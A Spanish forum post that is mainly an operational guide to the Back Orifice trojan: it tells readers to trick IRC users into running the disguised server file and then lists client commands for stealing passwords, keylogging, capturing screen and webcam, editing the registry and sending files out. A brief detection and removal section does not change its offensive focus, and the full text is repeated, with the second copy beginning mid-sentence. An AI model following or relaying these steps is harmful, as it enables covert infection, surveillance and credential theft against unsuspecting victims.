Shinta
Ex Staff
- Registrado
- 18 Mar 2002
- Mensajes
- 9.539
- Tema Autor
- #1
Este texto pretende explicar el uso del BO en w95 y las posibles aplicaciones
que se le pueden dar en IRC. De ningun modo se pretende incitar a la ilegalidad
y este documento se redacta con fines educativos, para la investigacion
y prevencion del ataque.
Una parte de este articulo consiste en la recopilacion y traduccion del trabajo
de otros.
- ¨Que es el BO?
Es un troyano que se aprovecha de los bugs de seguridad del w95/98.
Con este programa podremos tener acceso a todo el sistema del infectado:
Disco duro, cdrom, disketera, y por supuesto a sus archivos y directorios,
pudiendo borrarlos o modificarlos, bajarlos a su propio disco duro...
Para mayor informacion visitar:
www.rootshell.com/
- ¨Que hago cuando baje el zip? ¨Que contiene?
Una vez que bajamos el zip hay que descomprimirlo (aclarado para los &lerdos&)
y luego verificar que contenga los siguientes archivos:
bo.txt
plugin.txt
boserve.exe Servidor
bogui.exe Cliente
boclient.exe Cliente en modo texto del BO
boconfig.exe Utilidad de configuracion y plugin del server de BO
melt.exe Descompresor de archivos comprimidos con el comando freeze
freeze.exe Compresor de archivos. SE pueden descomprimir con melt.
- ¨Que hago con todos estos archivos?
Para que todo funcione correctamente debes saber que BAJO NINGUN
CONCEPTO debes ejecutar boserve.exe, pues te infectaras y seras sencible al
ataque.
Ya realizados los pasos anteriores hay que averiguar la ip de algun lamer.
Despues hay que hacer que acepte el archivo que le enviamos: boserve.exe.
Y conseguir que lo ejecute.
Para conseguir esto tenes que ingeniartelas como sea: IRC, etc, etc.
Un metodo facil, pero que no da muchos resultados es renombrar boserve.exe
a fotos.exe, xxx.exe, pamela.exe y otras variables.
Resultara mas facil si tienes confianza con la victima.
- ¨Como entro a su ordenador?
Aca tienes los pasos a seguir:
1) Debes copiar &boclient.exe& en tu directorio raiz, c:
2) Abrir una ventana de msdos en w95
3) Resolver la ip de la victima. Es muy facil de hacer en IRC.
d) En la ventana de msdos, desde la linea de comandos ejecutar
teclea &boclient.exe& a continuacion teclea host &IPdellamer en cuestion&,
sin comillas.
e) Y si la ley de palometa no falla ya estas dentro. :&
- ¨Y ahora que hago?
Puedes hacer un monton de cosas. Desde bo tecleas dir. Te mostrara los
archivos de su disco rigido (HD).
Si tecleas passes te saldran cosas interesantes, o sea, algunas passwords.
Puedes teclear cd directorio para explorar. Como en MsDos.
Puedes abrirle el puerto http y ver su disco duro comodamente con tu
navegador, una vez dentro tienes que teclear httpon 80, o sea activar
el http y el puerto. Ejemplo: tiene conectado el http con otra cosa, se lo
cierras primero con httpoff y el puerto que tenga abierto.
- ¨como se el puerto que tiene abierto? ¨con un scaneado?
Ejecutas el httpon y te dice el estado del http y el puerto es decir,
le cierras los puertos que tenga abiertos y luego le abres el 80.
Otros comandos utiles:
Tambien podemos usar el modo texto, ejecutando el boclient.exe.
appadd Lanza una aplicacion de texto en un puerto tcp.
Para controlar una aplicacion dos o de texto (como el
command.com) via telnet.
appdel evita que una aplicacion oiga las conexiones.
applist Da un listado de las aplicaciones que escuchan la conexion
en ese momento.
md Crea un directorio.
dir Muestra los archivos y directorios.
rd Borra un directorio.
shareadd Crea un export en el servidor.
sharedel Borra un export.
copy Copia archivos.
del Borra archivos.
find Busca en el arbol los archivos.
freeze Comprime un archivo
melt Descomprime un archivo comprimido con freeze.
view Visor del contenido de un archivo.
httpoff Cierra el servidor http.
httpon Abre el servidor http.
keylog Logea las teclas que se aprietan en el servidor (victima) a un archivo de texto. El log muestra el nombre de la ventana en que se tecleo el texto.
keylog stopend Acaba el log de teclado.
capavi Captura video y audio de un dispositivo a un archivo .avi
capscreen Captura una imagen de la pantalla del server a formato .bmp
listcaps Da un listado de los dispositivos de entrada de video.
sound ejecuta un archivo de sonido en el servidor (Te lo imaginas?).
netlist Listado de las conexiones de red.
netdisconnect Desconecta el servidor de una red.
netconnect Conecta el servidor a una red.
netview Ve todas las interfaces de red, servidores, dominios .
ping Hace ping al host.
pluginexec Ejecuta un plugin para BO.
pluginkill Cierra el plugin.
pluginlist Da un listado de los plugin activos.
prockill Finaliza un proceso.
proclist Listado de los procesos en curso.
procspawn Ejecuta un programa.
rediradd Redirecciona los paquetes ip entrantes a otra ip
redirdel Para el redireccionamiento.
redirlist Listado de puertos de rediccionamiento activos
regmakekey Crea una entrada en el registro
regdelkey Borra una entrada en el registro.
regdelval Borra un valor del registro.
reglistkeys Listado sub llaves de una llave del registro
reglistvals Listado de los valores de una llave del registro
regsetval establece el valor de una llave del registro
resolve resuelve la direccion ip del server
dialog Crea un cuadro de dialogo con el texto que quieras y el
boton ok
info Da la informacion completa del server
lockup cierra el server
passes Muestra las contrase¤as del usuario actual y la
del salvapantallas. Pueden contener basura al final.
reboot Apaga el server y lo reinicia.
tcprecv Conecta el server a una ip concreta y guarda la data
recivida de esa conexion al archivo especificado.
tcpsend conecta el server a una ip, manda el contenido del archivo
especificado y cierra la conexion
Protecciones contra el BO
Algunas versiones de BO estan modificadas para no ser detectadas por
Norton y otros programas. Una manera de detectar BO es buscar la cadena
&bofilemapping&. Otra es hacer &command /k /netstat -n& y ver si hay
algun puerto funcionando en 3000 y pico. Por defecto BO usa el 31377.
Tambien hay que controlar en
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce
y buscar anomalias como windll.dll, la libreria que BO usa por defecto
para cargarse en el sistema.
Por supuesto puede tener otro nombre y estar acompa¤ada de comentarios
falsos &Key file for Windows System Tray, do not delete&, etc.
BO no puede acceder a directorios cuyo nombre contenga un alt+255, este
puede ser un buen lugar para instalar el antivirus.
PROTECCION GRATUITAS CONTRA BO:
En www.bardon.comoelimdl.htm tienen &Back Orifice Eliminator 1.02& que lo
elimina.
Symantec Norton Antivirus tambien es efectivo contra BO, pero no es gratis.
- Utilitarios para el BO
* &SpeakEasy& Abre un canal IRC BO_OWNED donde se muestra informacion
sobre la IP de la victima
* &SaranWrap& Pega BO a cualquier otro programa.
* &SilkRope& Idem SaranWrap pero con encriptacion de 8 bits.
* &ButtTrumpet& Manda eamail a una direccion predeterminada con la
IP de la victima.
* Programas que desactivan las protecciones contra BO.
que se le pueden dar en IRC. De ningun modo se pretende incitar a la ilegalidad
y este documento se redacta con fines educativos, para la investigacion
y prevencion del ataque.
Una parte de este articulo consiste en la recopilacion y traduccion del trabajo
de otros.
- ¨Que es el BO?
Es un troyano que se aprovecha de los bugs de seguridad del w95/98.
Con este programa podremos tener acceso a todo el sistema del infectado:
Disco duro, cdrom, disketera, y por supuesto a sus archivos y directorios,
pudiendo borrarlos o modificarlos, bajarlos a su propio disco duro...
Para mayor informacion visitar:
www.rootshell.com/
- ¨Que hago cuando baje el zip? ¨Que contiene?
Una vez que bajamos el zip hay que descomprimirlo (aclarado para los &lerdos&)
y luego verificar que contenga los siguientes archivos:
bo.txt
plugin.txt
boserve.exe Servidor
bogui.exe Cliente
boclient.exe Cliente en modo texto del BO
boconfig.exe Utilidad de configuracion y plugin del server de BO
melt.exe Descompresor de archivos comprimidos con el comando freeze
freeze.exe Compresor de archivos. SE pueden descomprimir con melt.
- ¨Que hago con todos estos archivos?
Para que todo funcione correctamente debes saber que BAJO NINGUN
CONCEPTO debes ejecutar boserve.exe, pues te infectaras y seras sencible al
ataque.
Ya realizados los pasos anteriores hay que averiguar la ip de algun lamer.
Despues hay que hacer que acepte el archivo que le enviamos: boserve.exe.
Y conseguir que lo ejecute.
Para conseguir esto tenes que ingeniartelas como sea: IRC, etc, etc.
Un metodo facil, pero que no da muchos resultados es renombrar boserve.exe
a fotos.exe, xxx.exe, pamela.exe y otras variables.
Resultara mas facil si tienes confianza con la victima.
- ¨Como entro a su ordenador?
Aca tienes los pasos a seguir:
1) Debes copiar &boclient.exe& en tu directorio raiz, c:
2) Abrir una ventana de msdos en w95
3) Resolver la ip de la victima. Es muy facil de hacer en IRC.
d) En la ventana de msdos, desde la linea de comandos ejecutar
teclea &boclient.exe& a continuacion teclea host &IPdellamer en cuestion&,
sin comillas.
e) Y si la ley de palometa no falla ya estas dentro. :&
- ¨Y ahora que hago?
Puedes hacer un monton de cosas. Desde bo tecleas dir. Te mostrara los
archivos de su disco rigido (HD).
Si tecleas passes te saldran cosas interesantes, o sea, algunas passwords.
Puedes teclear cd directorio para explorar. Como en MsDos.
Puedes abrirle el puerto http y ver su disco duro comodamente con tu
navegador, una vez dentro tienes que teclear httpon 80, o sea activar
el http y el puerto. Ejemplo: tiene conectado el http con otra cosa, se lo
cierras primero con httpoff y el puerto que tenga abierto.
- ¨como se el puerto que tiene abierto? ¨con un scaneado?
Ejecutas el httpon y te dice el estado del http y el puerto es decir,
le cierras los puertos que tenga abiertos y luego le abres el 80.
Otros comandos utiles:
Tambien podemos usar el modo texto, ejecutando el boclient.exe.
appadd Lanza una aplicacion de texto en un puerto tcp.
Para controlar una aplicacion dos o de texto (como el
command.com) via telnet.
appdel evita que una aplicacion oiga las conexiones.
applist Da un listado de las aplicaciones que escuchan la conexion
en ese momento.
md Crea un directorio.
dir Muestra los archivos y directorios.
rd Borra un directorio.
shareadd Crea un export en el servidor.
sharedel Borra un export.
copy Copia archivos.
del Borra archivos.
find Busca en el arbol los archivos.
freeze Comprime un archivo
melt Descomprime un archivo comprimido con freeze.
view Visor del contenido de un archivo.
httpoff Cierra el servidor http.
httpon Abre el servidor http.
keylog Logea las teclas que se aprietan en el servidor (victima) a un archivo de texto. El log muestra el nombre de la ventana en que se tecleo el texto.
keylog stopend Acaba el log de teclado.
capavi Captura video y audio de un dispositivo a un archivo .avi
capscreen Captura una imagen de la pantalla del server a formato .bmp
listcaps Da un listado de los dispositivos de entrada de video.
sound ejecuta un archivo de sonido en el servidor (Te lo imaginas?).
netlist Listado de las conexiones de red.
netdisconnect Desconecta el servidor de una red.
netconnect Conecta el servidor a una red.
netview Ve todas las interfaces de red, servidores, dominios .
ping Hace ping al host.
pluginexec Ejecuta un plugin para BO.
pluginkill Cierra el plugin.
pluginlist Da un listado de los plugin activos.
prockill Finaliza un proceso.
proclist Listado de los procesos en curso.
procspawn Ejecuta un programa.
rediradd Redirecciona los paquetes ip entrantes a otra ip
redirdel Para el redireccionamiento.
redirlist Listado de puertos de rediccionamiento activos
regmakekey Crea una entrada en el registro
regdelkey Borra una entrada en el registro.
regdelval Borra un valor del registro.
reglistkeys Listado sub llaves de una llave del registro
reglistvals Listado de los valores de una llave del registro
regsetval establece el valor de una llave del registro
resolve resuelve la direccion ip del server
dialog Crea un cuadro de dialogo con el texto que quieras y el
boton ok
info Da la informacion completa del server
lockup cierra el server
passes Muestra las contrase¤as del usuario actual y la
del salvapantallas. Pueden contener basura al final.
reboot Apaga el server y lo reinicia.
tcprecv Conecta el server a una ip concreta y guarda la data
recivida de esa conexion al archivo especificado.
tcpsend conecta el server a una ip, manda el contenido del archivo
especificado y cierra la conexion
Protecciones contra el BO
Algunas versiones de BO estan modificadas para no ser detectadas por
Norton y otros programas. Una manera de detectar BO es buscar la cadena
&bofilemapping&. Otra es hacer &command /k /netstat -n& y ver si hay
algun puerto funcionando en 3000 y pico. Por defecto BO usa el 31377.
Tambien hay que controlar en
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce
y buscar anomalias como windll.dll, la libreria que BO usa por defecto
para cargarse en el sistema.
Por supuesto puede tener otro nombre y estar acompa¤ada de comentarios
falsos &Key file for Windows System Tray, do not delete&, etc.
BO no puede acceder a directorios cuyo nombre contenga un alt+255, este
puede ser un buen lugar para instalar el antivirus.
PROTECCION GRATUITAS CONTRA BO:
En www.bardon.comoelimdl.htm tienen &Back Orifice Eliminator 1.02& que lo
elimina.
Symantec Norton Antivirus tambien es efectivo contra BO, pero no es gratis.
- Utilitarios para el BO
* &SpeakEasy& Abre un canal IRC BO_OWNED donde se muestra informacion
sobre la IP de la victima
* &SaranWrap& Pega BO a cualquier otro programa.
* &SilkRope& Idem SaranWrap pero con encriptacion de 8 bits.
* &ButtTrumpet& Manda eamail a una direccion predeterminada con la
IP de la victima.
* Programas que desactivan las protecciones contra BO.
